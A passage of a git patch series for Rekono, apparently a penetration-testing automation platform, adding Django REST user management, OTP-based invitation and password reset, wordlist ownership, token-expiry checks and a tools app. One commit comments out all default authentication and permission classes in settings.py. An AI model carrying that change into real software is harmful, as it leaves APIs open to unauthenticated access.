+ model = User + fields = ("id", "username", "email", "role") + + +class InviteUserSerializer(ModelSerializer): + """Serializer to invite a new user via API.""" + + role = ChoiceField(choices=Role.choices, required=True, write_only=True) + + class Meta: + model = User + fields = ("email", "role") + + def create(self, validated_data: Dict[str, Any]) -> User: + """Create instance from validated data. + + Args: + validated_data (Dict[str, Any]): Validated data + + Returns: + User: Created instance + """ + return User.objects.invite_user( + validated_data["email"], Role(validated_data["role"]) + ) + + +class UpdateRoleSerializer(Serializer): + """Serializer to change user role via API.""" + + role = ChoiceField(choices=Role.choices, required=True, write_only=True) + + def update(self, instance: User, validated_data: Dict[str, Any]) -> User: + """Update instance from validated data. + + Args: + instance (User): Instance to update + validated_data (Dict[str, Any]): Validated data + + Returns: + User: Updated instance + """ + return User.objects.assign_role(instance, Role(validated_data["role"])) + + +class ProfileSerializer(UserSerializer): + """Serializer to manage user profile via API.""" + + # Field that indicates if the user has configured Telegram bot yet or not + # telegram_configured = SerializerMethodField(method_name="get_telegram_configured") + + # TODO: Telegram link + + class Meta: + model = User + fields = ( + "id", + "username", + "first_name", + "last_name", + "email", + "date_joined", + "last_login", + "role", + # "telegram_configured", + "notification_scope", + "email_notifications", + "telegram_notifications", + ) + # Read only fields + read_only_fields = ( + "username", + "email", + "date_joined", + "last_login", + "role", + # "telegram_configured", + ) + + # def get_telegram_configured(self, instance: User) -> bool: + # """Check if user has configured Telegam bot yet or not. + + # Args: + # instance (User): User to check Telegram bot configuration + + # Returns: + # bool: Indicate if Telegram bot has been configured + # """ + # return hasattr(instance, "telegram_chat") and instance.telegram_chat is not None + + +class PasswordSerializer(UserSerializer): + class Meta: + model = User + fields = ("password",) + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate(attrs) + validate_password(attrs.get("password")) + return attrs + + +class OTPSerializer(UserSerializer): + class Meta: + model = User + fields = ("otp",) + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + try: + # Search inactive user by otp and check expiration datetime + user = User.objects.get( + otp=attrs.get("otp"), otp_expiration__gt=timezone.now() + ) + except User.DoesNotExist: # Invalid otp + raise AuthenticationFailed( + "Invalid OTP value", code=status.HTTP_401_UNAUTHORIZED + ) + attrs = super().validate(attrs) + attrs["user"] = user + return attrs + + +class CreateUserSerializer(PasswordSerializer, OTPSerializer): + """Serializer to create an user via API after email invitation.""" + + # username = CharField(max_length=150, required=True) # New user username + # first_name = CharField(max_length=150, required=True) # New user first name + # last_name = CharField(max_length=150, required=True) # New user last name + # otp = CharField( + # max_length=200, required=True + # ) # OTP included in the email invitation + + class Meta: + model = User + fields = ( + "username", + "first_name", + "last_name", + "password", + "otp", + ) + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + """Validate the provided data before use it. + + Args: + attrs (Dict[str, Any]): Provided data + + Raises: + ValidationError: Raised if provided data is invalid + AuthenticationFailed: Raised if OTP is invalid + + Returns: + Dict[str, Any]: Data after validation process + """ + attrs = super().validate(attrs) + if attrs["user"].is_active is not None: + raise AuthenticationFailed( + "Invalid OTP value", code=status.HTTP_401_UNAUTHORIZED + ) + return attrs + + @transaction.atomic() + def create(self, validated_data: Dict[str, Any]) -> User: + """Create instance from validated data. + + Args: + validated_data (Dict[str, Any]): Validated data + + Returns: + User: Created instance + """ + return User.objects.create_user( + validated_data.get("user"), + validated_data.get("username"), + validated_data.get("first_name"), + validated_data.get("last_name"), + validated_data.get("password"), + ) + + +class UpdatePasswordSerializer(PasswordSerializer): + """Serializer to change user password via API.""" + + old_password = CharField(max_length=150, required=True, write_only=True) + + class Meta: + model = User + fields = ( + "password", + "old_password", + ) + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + """Validate the provided data before use it. + + Args: + attrs (Dict[str, Any]): Provided data + + Raises: + ValidationError: Raised if provided data is invalid + AuthenticationFailed: Raised if old password is invalid + + Returns: + Dict[str, Any]: Data after validation process + """ + if not self.instance.check_password(attrs.get("old_password")): + raise AuthenticationFailed( + "Invalid password", code=status.HTTP_401_UNAUTHORIZED + ) + return super().validate(attrs) + + def update(self, instance: User, validated_data: Dict[str, Any]) -> User: + """Update instance from validated data. + + Args: + instance (User): Instance to update + validated_data (Dict[str, Any]): Validated data + + Returns: + User: Updated instance + """ + return User.objects.update_password(instance, validated_data.get("password")) + + +class ResetPasswordSerializer(PasswordSerializer, OTPSerializer): + """Serializer to reset user password via API.""" + + class Meta: + model = User + fields = ("otp", "password") + + @transaction.atomic() + def save(self, **kwargs: Any) -> User: + """Save changes in instance. + + Returns: + User: Instance after apply changes + """ + return User.objects.reset_password( + self.validated_data.get("user"), self.validated_data.get("password") + ) + + +class RequestPasswordResetSerializer(UserSerializer): + """Serializer to request the user password reset via API.""" + + class Meta: + model = User + fields = ("email",) + + @transaction.atomic() + def save(self, **kwargs: Any) -> User: + """Save changes in instance. + + Returns: + User: Instance after apply changes + """ + try: + # Get user that requests the password reset + user = User.objects.get( + email=self.validated_data.get("email"), is_active=True + ) + user = User.objects.request_password_reset(user) # Request password reset + return user + except User.DoesNotExist: + return None + + +# TODO: Telegram link + +# class TelegramBotSerializer(Serializer): +# """Serializer to configure Telegram Bot via API.""" + +# # One Time Password used to link account to the Telegram Bot +# otp = CharField(max_length=200, required=True) + +# def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: +# """Validate the provided data before use it. + +# Args: +# attrs (Dict[str, Any]): Provided data + +# Raises: +# ValidationError: Raised if provided data is invalid +# AuthenticationFailed: Raised if Telegram OTP is invalid + +# Returns: +# Dict[str, Any]: Data after validation process +# """ +# attrs = super().validate(attrs) +# try: +# # Search Telegram chat by otp +# attrs["telegram_chat"] = TelegramChat.objects.get( +# otp=attrs.get("otp"), otp_expiration__gt=timezone.now() +# ) +# except TelegramChat.DoesNotExist: # Invalid otp +# raise AuthenticationFailed( +# "Invalid Telegram OTP", code=status.HTTP_401_UNAUTHORIZED +# ) +# return attrs + +# @transaction.atomic() +# def update(self, instance: User, validated_data: Dict[str, Any]) -> User: +# """Update instance from validated data. + +# Args: +# instance (User): Instance to update +# validated_data (Dict[str, Any]): Validated data + +# Returns: +# User: Updated instance +# """ +# validated_data["telegram_chat"].otp = None # Set otp to null +# validated_data[ +# "telegram_chat" +# ].otp_expiration = None # Set otp expiration to null +# validated_data[ +# "telegram_chat" +# ].user = instance # Link Telegram chat Id to the user +# validated_data["telegram_chat"].save( +# update_fields=["otp", "otp_expiration", "user"] +# ) +# user_telegram_linked_notification( +# instance +# ) # Send email notification to the user +# # Send Telegram notification to the user +# telegram_sender.send_message(validated_data["telegram_chat"].chat_id, LINKED) +# logger.info( +# f"[Security] User {instance.id} has logged in the Telegram bot", +# extra={"user": instance.id}, +# ) +# return instance diff --git a/src/backend/users/urls.py b/src/backend/users/urls.py new file mode 100644 index 000000000..0047f7b9b --- /dev/null +++ b/src/backend/users/urls.py @@ -0,0 +1,28 @@ +from django.urls import include, path +from rest_framework.routers import SimpleRouter +from users.views import ( + CreateUserViewSet, + ProfileViewSet, + ResetPasswordViewSet, + UserViewSet, +) + +# Register your views here. + +router = SimpleRouter() +router.register("users", UserViewSet) +router.register("users/create", CreateUserViewSet) + +profile = ProfileViewSet.as_view({"get": "get", "put": "update"}) +update_password = ProfileViewSet.as_view({"put": "update_password"}) +# telegram_token = ProfileViewSet.as_view({"post": "telegram_token"}) +reset_password = ResetPasswordViewSet.as_view({"post": "create", "put": "update"}) + +urlpatterns = [ + # path('api-token/', views.obtain_auth_token), + path("profile/", profile), + path("security/update-password/", update_password), + path("security/reset-password/", reset_password), + # path("profile/telegram-token/", telegram_token), + path("", include(router.urls)), +] diff --git a/src/backend/users/views.py b/src/backend/users/views.py new file mode 100644 index 000000000..17c035f9a --- /dev/null +++ b/src/backend/users/views.py @@ -0,0 +1,221 @@ +import logging +from typing import Any, List + +from django.core.exceptions import PermissionDenied +from drf_spectacular.utils import extend_schema +from framework.views import BaseViewSet +from rest_framework import status +from rest_framework.decorators import action +from rest_framework.permissions import ( + BasePermission, + DjangoModelPermissions, + IsAuthenticated, +) +from rest_framework.request import Request +from rest_framework.response import Response +from rest_framework.serializers import Serializer +from rest_framework.viewsets import GenericViewSet +from security.authorization.permissions import IsAdmin, IsNotAuthenticated +from users.filters import UserFilter +from users.models import User +from users.serializers import ( + CreateUserSerializer, + InviteUserSerializer, + ProfileSerializer, + RequestPasswordResetSerializer, + ResetPasswordSerializer, + UpdatePasswordSerializer, + UpdateRoleSerializer, + UserSerializer, +) + +# Create your views here. + +logger = logging.getLogger() # Rekono logger + + +class UserViewSet(BaseViewSet): + """User administration ViewSet that includes: get, retrieve, invite, role change, enable and disable features.""" + + serializer_class = UserSerializer + queryset = User.objects.all() + filterset_class = UserFilter + # Fields used to search tasks + search_fields = ["username", "first_name", "last_name", "email"] + ordering_fields = [ + "id", + "username", + "first_name", + "last_name", + "email", + "date_joined", + "last_login", + ] + http_method_names = [ + "get", + "post", + "put", + "delete", + ] + # Required to include the IsAdmin to the base authorization classes and remove unneeded permissions + permission_classes = [IsAuthenticated, DjangoModelPermissions, IsAdmin] + + def _get_object_if_not_current_user(self, request) -> User: + instance = self.get_object() # Get user instance + if instance.id == request.user.id: + raise PermissionDenied() + return instance + + @extend_schema(request=InviteUserSerializer, responses={201: UserSerializer}) + def create(self, request, *args, **kwargs): + serializer = InviteUserSerializer(data=request.data) + serializer.is_valid(raise_exception=True) + user = serializer.create(serializer.validated_data) + headers = self.get_success_headers(serializer.data) + return Response( + UserSerializer(user).data, status=status.HTTP_201_CREATED, headers=headers + ) + + @extend_schema(request=UpdateRoleSerializer, responses={201: UserSerializer}) + def update(self, request, *args, **kwargs): + instance = self._get_object_if_not_current_user(request) + serializer = UpdateRoleSerializer(data=request.data) + serializer.is_valid(raise_exception=True) + instance = serializer.update(instance, serializer.validated_data) + return Response(UserSerializer(instance).data, status=status.HTTP_200_OK) + + def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: + instance = self._get_object_if_not_current_user(request) + if instance.is_active is None: + super().destroy(request, *args, **kwargs) + else: + User.objects.disable_user(instance) + return Response(status=status.HTTP_204_NO_CONTENT) + + @extend_schema(request=None, responses={200: UserSerializer}) + @action(detail=True, methods=["POST"], url_path="enable", url_name="enable") + def enable(self, request: Request, pk: str) -> Response: + """Enable disabled user. + + Args: + request (Request): Received HTTP request + pk (str): Instance Id + + Returns: + Response: HTTP response + """ + instance = self._get_object_if_not_current_user(request) + User.objects.enable_user(instance) + return Response(UserSerializer(instance).data, status=status.HTTP_200_OK) + + +class ProfileViewSet(GenericViewSet): + """User profile ViewSet that includes: get, update, password change and Telegram bot configuration features.""" + + serializer_class = ProfileSerializer + queryset = User.objects.all() + # Only IsAuthenticated class is required because all users can manage its profile + permission_classes = [IsAuthenticated] + + @action(detail=False, methods=["GET"]) + def get(self, request: Request, *args: Any, **kwargs: Any) -> Response: + return Response( + self.serializer_class(request.user, many=False).data, + status=status.HTTP_200_OK, + ) + + def _update(self, request: Request, serializer_class: Serializer) -> Serializer: + serializer = serializer_class(request.user, data=request.data) + serializer.is_valid(raise_exception=True) + serializer.update(request.user, serializer.validated_data) + return serializer + + @action(detail=False, methods=["PUT"]) + def update(self, request: Request, *args: Any, **kwargs: Any) -> Response: + serializer = self._update(request, self.serializer_class) + return Response(serializer.data, status=status.HTTP_200_OK) + + @extend_schema(request=UpdatePasswordSerializer, responses={200: None}) + @action( + detail=False, + methods=["PUT"], + url_path="update-password", + url_name="update-password", + ) + def update_password(self, request: Request) -> Response: + self._update(request, UpdatePasswordSerializer) + return Response(status=status.HTTP_200_OK) + + # @extend_schema(request=TelegramBotSerializer, responses={200: None}) + # @action( + # detail=False, + # methods=["POST"], + # url_path="telegram-token", + # url_name="telegram-token", + # ) + # def telegram_token(self, request: Request) -> Response: + # """Link Telegram bot to the user account. + + # Args: + # request (Request): Received HTTP request + + # Returns: + # Response: HTTP response + # """ + # serializer = TelegramBotSerializer(request.user, data=request.data) + # if serializer.is_valid(): # Check input data + # serializer.update( + # request.user, serializer.validated_data + # ) # Link Telegram bot to user account + # return Response(status=status.HTTP_200_OK) + # return Response( + # serializer.errors, status=status.HTTP_400_BAD_REQUEST + # ) # Invalid input data + + +class CreateUserViewSet(BaseViewSet): + """User ViewSet that includes user initialization from invitation feature.""" + + serializer_class = CreateUserSerializer + queryset = User.objects.all() + http_method_names = ["post"] + # Users can't be initialized from another user session, authentication is based on OTP + permission_classes = [IsNotAuthenticated] + + @extend_schema(request=CreateUserSerializer, responses={201: UserSerializer}) + def create(self, request, *args, **kwargs): + serializer = CreateUserSerializer(data=request.data) + serializer.is_valid(raise_exception=True) + user = serializer.create(serializer.validated_data) + headers = self.get_success_headers(serializer.data) + return Response( + UserSerializer(user).data, status=status.HTTP_201_CREATED, headers=headers + ) + + +class ResetPasswordViewSet(GenericViewSet): + """User ViewSet that includes reset password feature.""" + + queryset = User.objects.all() + # No class required because all users can reset his password + # This operation can be performed from an user session or not + permission_classes: List[BasePermission] = [] + + def _create_or_update( + self, request: Request, serializer_class: Serializer + ) -> Serializer: + serializer = serializer_class(data=request.data) + serializer.is_valid(raise_exception=True) + serializer.save() + return serializer + + @extend_schema(request=RequestPasswordResetSerializer, responses={200: None}) + def create(self, request: Request) -> Response: + self._create_or_update(request, RequestPasswordResetSerializer) + return Response(status=status.HTTP_200_OK) + + @extend_schema(request=ResetPasswordSerializer, responses={200: None}) + @action(detail=False, methods=["PUT"]) + def update(self, request: Request) -> Response: + self._create_or_update(request, ResetPasswordSerializer) + return Response(status=status.HTTP_200_OK) diff --git a/src/backend/wordlists/filters.py b/src/backend/wordlists/filters.py index a3d8c1a2a..0dc6499d9 100644 --- a/src/backend/wordlists/filters.py +++ b/src/backend/wordlists/filters.py @@ -1,9 +1,8 @@ -# from likes.filters import LikeFilter -from django_filters.rest_framework import FilterSet +from framework.filters import LikeFilter from wordlists.models import Wordlist -class WordlistFilter(FilterSet): +class WordlistFilter(LikeFilter): """FilterSet to filter and sort Wordlist entities.""" class Meta: @@ -11,7 +10,7 @@ class Meta: fields = { # Filter fields "name": ["exact", "icontains"], "type": ["exact"], - # 'creator': ['exact'], - # 'creator__username': ['exact', 'icontains'], + "owner": ["exact"], + "owner__username": ["exact", "icontains"], "size": ["gte", "lte", "exact"], } diff --git a/src/backend/wordlists/models.py b/src/backend/wordlists/models.py index 1f6810c56..26267d2c7 100644 --- a/src/backend/wordlists/models.py +++ b/src/backend/wordlists/models.py @@ -3,17 +3,16 @@ from django.db import models from framework.enums import InputKeyword -from framework.models import BaseInput - -# from likes.models import LikeBase -from security.file_handler import FileHandler -from security.input_validation import Regex, Validator +from framework.models import BaseInput, BaseLike +from rekono.settings import AUTH_USER_MODEL +from security.utils.file_handler import FileHandler +from security.utils.input_validator import Regex, Validator from wordlists.enums import WordlistType # Create your models here. -class Wordlist(BaseInput): +class Wordlist(BaseInput, BaseLike): name = models.TextField( max_length=100, unique=True, @@ -25,9 +24,9 @@ class Wordlist(BaseInput): # Number of entries in the wordlist file size = models.IntegerField(blank=True, null=True) # User that created the wordlist - # creator = models.ForeignKey( - # settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True - # ) + owner = models.ForeignKey( + AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True + ) filters = [BaseInput.Filter(type=WordlistType, field="type")] diff --git a/src/backend/wordlists/serializers.py b/src/backend/wordlists/serializers.py index ce2b09e98..367985d1c 100644 --- a/src/backend/wordlists/serializers.py +++ b/src/backend/wordlists/serializers.py @@ -1,24 +1,19 @@ -import os -import uuid from typing import Any, Dict +from framework.serializers import LikeSerializer from rekono.settings import CONFIG -from rest_framework import serializers -from security.file_handler import FileHandler - -# from likes.serializers import LikeBaseSerializer +from rest_framework.serializers import FileField, ModelSerializer +from security.utils.file_handler import FileHandler +from users.serializers import SimpleUserSerializer from wordlists.models import Wordlist -# from users.serializers import SimplyUserSerializer - -# LikeBaseSerializer -class WordlistSerializer(serializers.ModelSerializer): +class WordlistSerializer(ModelSerializer, LikeSerializer): """Serializer to manage wordlists via API.""" # Wordlist file, to allow the wordlist files upload to the server - file = serializers.FileField(required=True, allow_empty_file=False, write_only=True) - # creator = SimplyUserSerializer(many=False, read_only=True) # Creator details for read operations + file = FileField(required=True, allow_empty_file=False, write_only=True) + owner = SimpleUserSerializer(many=False, read_only=True) class Meta: model = Wordlist @@ -27,20 +22,13 @@ class Meta: "id", "name", "type", - "path", "file", - "checksum", "size", - # "creator", - # "liked", - # "likes", + "owner", + "liked", + "likes", ) - # read_only_fields = ("creator",) # Read only field - # Parameters used in write operations, but they will be generated automatically from uploaded file - extra_kwargs = { - "path": {"write_only": True, "required": False}, - "checksum": {"write_only": True, "required": False}, - } + read_only_fields = ("size", "owner", "liked", "likes") def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: """Validate the provided data before use it. @@ -69,7 +57,7 @@ def save(self, **kwargs: Any) -> Wordlist: return super().save(**kwargs) -class UpdateWordlistSerializer(serializers.ModelSerializer): +class UpdateWordlistSerializer(ModelSerializer): """Serializer to update wordlists via API.""" class Meta: diff --git a/src/backend/wordlists/views.py b/src/backend/wordlists/views.py index d238c3502..778947ee3 100644 --- a/src/backend/wordlists/views.py +++ b/src/backend/wordlists/views.py @@ -1,33 +1,22 @@ # from api.views import CreateWithUserViewSet -# from likes.views import LikeManagementView -# from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated -from framework.views import BaseViewSet +from framework.views import BaseViewSet, LikeViewSet +from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated from rest_framework.serializers import Serializer from wordlists.filters import WordlistFilter from wordlists.models import Wordlist from wordlists.serializers import UpdateWordlistSerializer, WordlistSerializer -# from security.authorization.permissions import WordlistCreatorPermission - - # Create your views here. -class WordlistViewSet(BaseViewSet): +class WordlistViewSet(BaseViewSet, LikeViewSet): """Wordlist ViewSet that includes: get, retrieve, create, update, delete, like and dislike features.""" queryset = Wordlist.objects.all() serializer_class = WordlistSerializer filterset_class = WordlistFilter - search_fields = ["name"] # Fields used to search projects - ordering_fields = ["id", "name", "type"] # , 'creator', 'likes_count' - # Required to include the WordlistCreatorPermission and remove unneeded ProjectMemberPermission - # permission_classes = [ - # IsAuthenticated, - # DjangoModelPermissions, - # WordlistCreatorPermission, - # ] - # user_field = "creator" + search_fields = ["name"] + ordering_fields = ["id", "name", "type", "creator", "likes_count"] def get_serializer_class(self) -> Serializer: """Get serializer class to use in each request. From e5637836c9cef499a7eddef8080e1b71f408f556 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 6 Sep 2023 19:05:57 +0200 Subject: [PATCH 011/141] Validate expiration for API tokens --- src/backend/api_tokens/serializers.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/src/backend/api_tokens/serializers.py b/src/backend/api_tokens/serializers.py index fa7804567..334824c4a 100644 --- a/src/backend/api_tokens/serializers.py +++ b/src/backend/api_tokens/serializers.py @@ -1,6 +1,8 @@ -from typing import Any +from typing import Any, Dict from api_tokens.models import ApiToken +from django.core.exceptions import ValidationError +from django.utils import timezone from rest_framework.serializers import ModelSerializer from security.utils.cryptography import hash @@ -17,6 +19,15 @@ class Meta: fields = ("id", "key", "name", "expiration") read_only_fields = ("key",) + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate(attrs) + if attrs["expiration"] <= timezone.now(): + raise ValidationError( + "Expiration must be future", + code="expiration", + ) + return attrs + def save(self, **kwargs: Any) -> ApiToken: plain_key = ApiToken.generate_key() self.validated_data["key"] = hash(plain_key) From 3e8437e5ce3651f2f95ae9475b2c9fc4f677a060 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Mon, 11 Sep 2023 09:11:28 +0200 Subject: [PATCH 012/141] Add tool and configuration models --- .gitignore | 3 +- src/backend/framework/fields.py | 62 +- src/backend/framework/serializers.py | 4 +- src/backend/framework/views.py | 2 +- src/backend/rekono/settings.py | 13 +- src/backend/rekono/urls.py | 1 + src/backend/security/authorization/roles.py | 60 +- src/backend/tools/__init__.py | 0 src/backend/tools/admin.py | 10 + src/backend/tools/apps.py | 32 + src/backend/tools/enums.py | 19 + src/backend/tools/exceptions.py | 4 + src/backend/tools/fields.py | 9 + src/backend/tools/filters.py | 35 + src/backend/tools/fixtures/1_tools.json | 262 ++++++ src/backend/tools/fixtures/2_intensities.json | 317 +++++++ .../tools/fixtures/3_configurations.json | 530 ++++++++++++ src/backend/tools/fixtures/4_arguments.json | 453 +++++++++++ src/backend/tools/fixtures/5_inputs.json | 562 +++++++++++++ src/backend/tools/fixtures/6_outputs.json | 770 ++++++++++++++++++ src/backend/tools/models.py | 153 ++++ src/backend/tools/serializers.py | 96 +++ src/backend/tools/urls.py | 10 + src/backend/tools/views.py | 27 + src/backend/users/views.py | 4 +- src/backend/wordlists/serializers.py | 2 +- src/backend/wordlists/views.py | 5 +- 27 files changed, 3370 insertions(+), 75 deletions(-) create mode 100644 src/backend/tools/__init__.py create mode 100644 src/backend/tools/admin.py create mode 100644 src/backend/tools/apps.py create mode 100644 src/backend/tools/enums.py create mode 100644 src/backend/tools/exceptions.py create mode 100644 src/backend/tools/fields.py create mode 100644 src/backend/tools/filters.py create mode 100644 src/backend/tools/fixtures/1_tools.json create mode 100644 src/backend/tools/fixtures/2_intensities.json create mode 100644 src/backend/tools/fixtures/3_configurations.json create mode 100644 src/backend/tools/fixtures/4_arguments.json create mode 100644 src/backend/tools/fixtures/5_inputs.json create mode 100644 src/backend/tools/fixtures/6_outputs.json create mode 100644 src/backend/tools/models.py create mode 100644 src/backend/tools/serializers.py create mode 100644 src/backend/tools/urls.py create mode 100644 src/backend/tools/views.py diff --git a/.gitignore b/.gitignore index 68db085d2..cb7030266 100644 --- a/.gitignore +++ b/.gitignore @@ -159,4 +159,5 @@ rekono-kbx *.kaboxer.yaml # Temporal ignore -src/backend-1.x/ \ No newline at end of file +src/backend-1.x/ +migrations/ \ No newline at end of file diff --git a/src/backend/framework/fields.py b/src/backend/framework/fields.py index 0b1d18056..1a0c7b527 100644 --- a/src/backend/framework/fields.py +++ b/src/backend/framework/fields.py @@ -1,4 +1,4 @@ -from typing import List +from typing import Any, List from drf_spectacular.types import OpenApiTypes from drf_spectacular.utils import extend_schema_field @@ -72,35 +72,10 @@ def to_internal_value(self, value: str) -> str: @extend_schema_field({"type": "array", "items": {"type": "string"}}) class StringAsListField(Field): - def __init__( - self, - validator: callable = None, - separator: str = ",", - read_only=False, - write_only=False, - required=None, - source=None, - label=None, - help_text=None, - style=None, - error_messages=None, - validators=None, - allow_null=False, - ): + def __init__(self, validator: callable = None, separator: str = ",", **kwargs: Any): self.validator = validator self.separator = separator - super().__init__( - read_only=read_only, - write_only=write_only, - required=required, - source=source, - label=label, - help_text=help_text, - style=style, - error_messages=error_messages, - validators=validators, - allow_null=allow_null, - ) + super().__init__(**kwargs) def to_representation(self, value: str) -> List[str]: return (value or "").split(self.separator) @@ -110,3 +85,34 @@ def to_internal_value(self, value: List[str]) -> str: for item in value: self.validator(item) return self.separator.join(value) + + +@extend_schema_field(OpenApiTypes.STR) +class IntegerChoicesField(Field): + """Serializer field to manage IntegerChoices values.""" + + def __init__(self, model: Any, **kwargs: Any): + self.model = model + super().__init__(**kwargs) + + def to_representation(self, value: int) -> str: + """Return text value to send to the client. + + Args: + value (int): Integer value of the IntegerChoices field + + Returns: + str: String value associated to the integer + """ + return self.model(value).name.capitalize() + + def to_internal_value(self, data: str) -> int: + """Return integer value to be stored in database. + + Args: + data (str): String value of the IntegerChoices field + + Returns: + int: Integer value associated to the string + """ + return self.model[data.upper()].value diff --git a/src/backend/framework/serializers.py b/src/backend/framework/serializers.py index 1d6b07e08..94cb98ac5 100644 --- a/src/backend/framework/serializers.py +++ b/src/backend/framework/serializers.py @@ -1,10 +1,10 @@ from typing import Any -from rest_framework.serializers import Serializer, SerializerMethodField +from rest_framework.serializers import ModelSerializer, SerializerMethodField from users.models import User -class LikeSerializer(Serializer): +class LikeSerializer(ModelSerializer): """Common serializer for all models that can be liked.""" liked = SerializerMethodField(method_name="is_liked_by_user", read_only=True) diff --git a/src/backend/framework/views.py b/src/backend/framework/views.py index 1b649c922..ff37ccf34 100644 --- a/src/backend/framework/views.py +++ b/src/backend/framework/views.py @@ -74,7 +74,7 @@ def perform_create(self, serializer: Serializer) -> None: super().perform_create(serializer) -class LikeViewSet(GenericViewSet): +class LikeViewSet(BaseViewSet): """Base ViewSet that includes the like and dislike features.""" def get_queryset(self) -> QuerySet: diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 262fe5417..2ec6e612a 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -60,6 +60,7 @@ "settings", "target_ports", "targets", + "tools", "users", "wordlists", ] @@ -194,14 +195,14 @@ ], "DEFAULT_PAGINATION_CLASS": "framework.pagination.Pagination", "DEFAULT_AUTHENTICATION_CLASSES": [ - "security.authentication.api.ApiAuthentication", - "rest_framework_simplejwt.authentication.JWTAuthentication", + # "security.authentication.api.ApiAuthentication", + # "rest_framework_simplejwt.authentication.JWTAuthentication", ], "DEFAULT_PERMISSION_CLASSES": [ - "rest_framework.permissions.IsAuthenticated", - "rest_framework.permissions.DjangoModelPermissions", - "security.authorization.permissions.ProjectMemberPermission", - "security.authorization.permissions.OwnerPermission", + # "rest_framework.permissions.IsAuthenticated", + # "rest_framework.permissions.DjangoModelPermissions", + # "security.authorization.permissions.ProjectMemberPermission", + # "security.authorization.permissions.OwnerPermission", ], "EXCEPTION_HANDLER": "framework.exceptions.exceptions_handler", } diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index e768e873c..8f4253b5d 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -33,6 +33,7 @@ path("api/", include("settings.urls")), path("api/", include("target_ports.urls")), path("api/", include("targets.urls")), + path("api/", include("tools.urls")), path("api/", include("users.urls")), path("api/", include("wordlists.urls")), # OpenAPI specification diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index f5e6773a3..bc5b4c001 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -114,36 +114,36 @@ class Role(models.TextChoices): # "change": [Role.ADMIN, Role.AUDITOR], # "delete": [Role.ADMIN, Role.AUDITOR], # }, - # "tool": { - # "view": [Role.ADMIN, Role.AUDITOR], - # "add": [], - # "change": [], - # "delete": [], - # }, - # "intensity": { - # "view": [Role.ADMIN, Role.AUDITOR], - # "add": [], - # "change": [], - # "delete": [], - # }, - # "configuration": { - # "view": [Role.ADMIN, Role.AUDITOR], - # "add": [], - # "change": [], - # "delete": [], - # }, - # "input": { - # "view": [Role.ADMIN, Role.AUDITOR], - # "add": [], - # "change": [], - # "delete": [], - # }, - # "output": { - # "view": [Role.ADMIN, Role.AUDITOR], - # "add": [], - # "change": [], - # "delete": [], - # }, + "tool": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [], + "change": [], + "delete": [], + }, + "intensity": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [], + "change": [], + "delete": [], + }, + "configuration": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [], + "change": [], + "delete": [], + }, + "input": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [], + "change": [], + "delete": [], + }, + "output": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [], + "change": [], + "delete": [], + }, "wordlist": { "view": [Role.ADMIN, Role.AUDITOR], "add": [Role.ADMIN, Role.AUDITOR], diff --git a/src/backend/tools/__init__.py b/src/backend/tools/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/tools/admin.py b/src/backend/tools/admin.py new file mode 100644 index 000000000..9ed4a5ccf --- /dev/null +++ b/src/backend/tools/admin.py @@ -0,0 +1,10 @@ +from django.contrib import admin +from tools.models import Tool, Configuration, Input, Output, Intensity + +# Register your models here. + +admin.site.register(Tool) +admin.site.register(Configuration) +admin.site.register(Input) +admin.site.register(Output) +admin.site.register(Intensity) diff --git a/src/backend/tools/apps.py b/src/backend/tools/apps.py new file mode 100644 index 000000000..135d98eb8 --- /dev/null +++ b/src/backend/tools/apps.py @@ -0,0 +1,32 @@ +import os +from pathlib import Path +from typing import Any + +from django.apps import AppConfig +from django.core import management +from django.core.management.commands import loaddata +from django.db.models.signals import post_migrate + + +class ToolsConfig(AppConfig): + """Tool Django application.""" + + name = "tools" + + def ready(self) -> None: + """Run code as soon as the registry is fully populated.""" + # Configure fixtures to be loaded after migration + post_migrate.connect(self.load_tools_models, sender=self) + + def load_tools_models(self, **kwargs: Any) -> None: + """Load tools fixtures in database.""" + path = os.path.join(Path(__file__).resolve().parent, "fixtures") + management.call_command( + loaddata.Command(), + os.path.join(path, "1_tools.json"), + os.path.join(path, "2_intensities.json"), + os.path.join(path, "3_configurations.json"), + os.path.join(path, "4_arguments.json"), + os.path.join(path, "5_inputs.json"), + os.path.join(path, "6_outputs.json"), + ) diff --git a/src/backend/tools/enums.py b/src/backend/tools/enums.py new file mode 100644 index 000000000..618643b17 --- /dev/null +++ b/src/backend/tools/enums.py @@ -0,0 +1,19 @@ +from django.db import models + +# Create your enums here. + + +class Intensity(models.IntegerChoices): + SNEAKY = 1 # Softest + LOW = 2 + NORMAL = 3 + HARD = 4 + INSANE = 5 # Hardest + + +class Stage(models.IntegerChoices): + OSINT = 1 + ENUMERATION = 2 + VULNERABILITIES = 3 + SERVICES = 4 + EXPLOITATION = 5 diff --git a/src/backend/tools/exceptions.py b/src/backend/tools/exceptions.py new file mode 100644 index 000000000..da4dbe540 --- /dev/null +++ b/src/backend/tools/exceptions.py @@ -0,0 